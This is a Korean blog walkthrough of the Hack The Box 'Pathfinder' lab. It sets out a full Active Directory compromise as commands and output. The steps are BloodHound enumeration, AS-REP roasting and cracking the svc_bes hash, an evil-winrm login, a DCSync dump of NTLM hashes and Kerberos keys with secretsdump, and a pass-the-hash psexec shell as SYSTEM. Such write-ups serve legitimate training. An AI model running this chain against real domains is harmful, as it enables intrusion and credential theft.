일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- hackthebox
- Whitehacker
- 디지털포렌식 전문가 2급
- hacker
- picoCTF 2021
- 자격증
- htb
- picoCTF
- root
- TryHackMe
- TryHackeMe
- Cybersecurity
- Capture The Flag
- 해킹
- 디지털포렌식 자격증
- THM
- 리눅스마스터 2급 2차
- 정보보안산업기사 자격증
- INFOSEC
- flag
- 포렌식
- 정보보안산업기사 필기
- picoGym
- 정보보안
- 리눅스마스터 자격증
- 디지털포렌식
- CTF
- 25 Days of Cyber Security
- Hack The Box
- kali-linux
- Today
- Total
root@j4sper:~#
Starting Point | Pathfinder 본문
Shield 단계에서 얻은 계정 sandra Password123! 을 가지고 이번 단계를 풀어나갈 수 있다.
이번에도 마찬가지로 Pathfinder를 진행하면서 얻는 파일들을 모을 디렉터리를 만든다.
그리고 Pathfinder IP의 포트 주소를 스캔한다. masscan 모듈을 사용해 오픈된 모든 포트들을 스캔했다.
389와 3268번 포트 LDAP는 도메인으로 액티브 디렉터리 서버에 접속할 수 있다. 그리고 5985번 포트는 WinRM이 활성화 되어있다.
또한 88번 포트는 커버로스와 연결되어 있다.
전에 찾은 sandra 계정과 LDAP를 이용해 서버에 있는 디렉터리들을 찾아보도록 한다.
LDAP 서버에 접속해서 파일들을 가져오려면 bloodhound라는 파이썬 모듈이 필요하다. 다음과 같은 명령어로 설치할 수 있다.
# python3 -m pip install --user bloodhound
설치 후 sandra 계정 정보와 도메인 정보로 서버에 있는 파일들을 가져올 수 있다.
# bloodhound-python -d megacorp.local -u sandra -p Password1234! -c all -ns 10.10.10.30
4가지의 json 파일들을 가져왔다. 이 파일들은 데이터베이스의 정보들 같다. 그래서 이 데이터베이스 정보들을 알아보기 위해 neo4j와 bloodhound 모듈을 설치한다.
# sudo apt install neo4j
# sudo apt install bloodhound
# neo4j console
설치 후 neo4j의 콘솔을 시작해주면 비밀번호를 변경하라고 나온다. http://localhost:7474/에 접속해서 neo4j neo4j를 입력해 로그인 후 패스워드를 변경해준다.
패스워드를 변경했다면 새로운 터미널을 열어 bloodhound를 시작해준다.
이러한 화면이 나오면 neo4j와 아까 변경해준 패스워들 입력해 로그인한다.
로그인 후에 오른쪽 상단 메뉴 중에 upload file이라는 메뉴가 있다. 이 메뉴를 클릭해 아까 다운 받은 json 파일들을 모두 업로드 한다.
이렇게 모든 업로드가 끝나 Clear Finished 버튼을 클릭하면 데이터베이스의 정보들이 나온다.
왼쪽 상단에서 Analysis 버튼에서 Shortest Paths from Domain Users to High value Targets 과 Find Principles with DCSync Rights를 누르면 모든 유저들과의 관계에 대해 나온다.
그 중 우리가 알지 못했던 계정이 svc_bes가 있었다. svc_bes 계정은 GETCHANGEALL 권한을 가지고 있다.
이 권한은 사용자 해시를 얻을 수 있는 중요한 정보이다.
그럼 이 계정의 사용자 해시를 알아보기 위해 GetNPUsers 모듈을 가져온다.
# locate GetNPUsers
# cp /usr/share/doc/python3-impacket/examples/GetNPUsers.py .
가져온 GetNPUsers 모듈을 사용해 사용자 해시를 알아낸다.
얻은 해시를 모두 드래그 후 hash 파일로 입력 후 저장한다. 이 과정은 해시를 크랙하기 위해 진행한다.
hash란 파일을 만들었다면 전에 진행했던 john 모듈로 hash를 크랙할 수 있다.
크랙을 진행하기 위해서는 rockyou.txt 파일이 필요하다.
rockyou.txt 파일을 가져왔다면 이제 해시를 크랙한다.
Sheffield19라는 svc_bes 계정의 비밀번호를 알아냈다. 이 계정 정보로 아까 찾은 WinRM으로 접속해 user 플래그를 얻을 수 있다.
# gem install evil-winrm
# evil-winrm -i 10.10.10.30 -u svc_bes -p Sheffield19
이제 root 플래그를 얻어보자.
아직 활용하지 않은 GETCHANGEALL 권한을 사용하기 위해서 secretsdump 파이썬 모듈을 사용할 것이다.
이 모듈을 사용하면 NTLM(NT LAN Manager) 해시를 덤프할 수 있다.
# cp /usr/share/doc/python3-impacket/examples/secretsdump.py .
# python3 secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f9f700dbf7b492969aac5943dab22ff3:::
svc_bes:1104:aad3b435b51404eeaad3b435b51404ee:0d1ce37b8c9e5cf4dbd20f5b88d5baca:::
sandra:1105:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
PATHFINDER$:1000:aad3b435b51404eeaad3b435b51404ee:4ca77767812c67967baa3f11eb7a9a70:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:056bbaf3be0f9a291fe9d18d1e3fa9e6e4aff65ef2785c3fdc4f6472534d614f
Administrator:aes128-cts-hmac-sha1-96:5235da455da08703cc108293d2b3fa1b
Administrator:des-cbc-md5:f1c89e75a42cd0fb
krbtgt:aes256-cts-hmac-sha1-96:d6560366b08e11fa4a342ccd3fea07e69d852f927537430945d9a0ef78f7dd5d
krbtgt:aes128-cts-hmac-sha1-96:02abd84373491e3d4655e7210beb65ce
krbtgt:des-cbc-md5:d0f8d0c86ee9d997
svc_bes:aes256-cts-hmac-sha1-96:2712a119403ab640d89f5d0ee6ecafb449c21bc290ad7d46a0756d1009849238
svc_bes:aes128-cts-hmac-sha1-96:7d671ab13aa8f3dbd9f4d8e652928ca0
svc_bes:des-cbc-md5:1cc16e37ef8940b5
sandra:aes256-cts-hmac-sha1-96:2ddacc98eedadf24c2839fa3bac97432072cfac0fc432cfba9980408c929d810
sandra:aes128-cts-hmac-sha1-96:c399018a1369958d0f5b242e5eb72e44
sandra:des-cbc-md5:23988f7a9d679d37
PATHFINDER$:aes256-cts-hmac-sha1-96:5dbbff34631d3fe40225d3b17075e175baff8e1711f936a7610fcdeb49e8dbb6
PATHFINDER$:aes128-cts-hmac-sha1-96:9a878007df1bbe8cfb52f542cd20505a
PATHFINDER$:des-cbc-md5:7af4b60bc8bf31df
[*] Cleaning up...
관리자(Administrator)의 해시 정보를 가지고 관리자 계정으로 로그인할 수 있다.
로그인을 위해서는 psexec 모듈이 필요하다.
# cp /usr/share/doc/python3-impacket/examples/psexec.py .
# python3 psexec.py megacorp.local/administrator@10.10.10.30 -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.30.....
[*] Found writable share ADMIN$
[*] Uploading file LfYQkmVZ.exe
[*] Opening SVCManager on 10.10.10.30.....
[*] Creating service uquR on 10.10.10.30.....
[*] Starting service uquR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>cd /Users/Administrator/Desktop
C:\Users\Administrator\Desktop>type root.txt
ee613b2d048303e5fd4ac6647d944645
C:\Users\Administrator\Desktop>
해시 값으로 root 플래그를 얻었다.
'Walkthrough > Hack The Box' 카테고리의 다른 글
Starting Point | Shield (0) | 2021.03.31 |
---|---|
Starting Point | Vaccine (0) | 2021.03.29 |
Starting Point | Oopsie (0) | 2021.03.25 |
Starting Point | Archetype (0) | 2021.03.17 |
Hack The Box 가입하기 (0) | 2021.03.09 |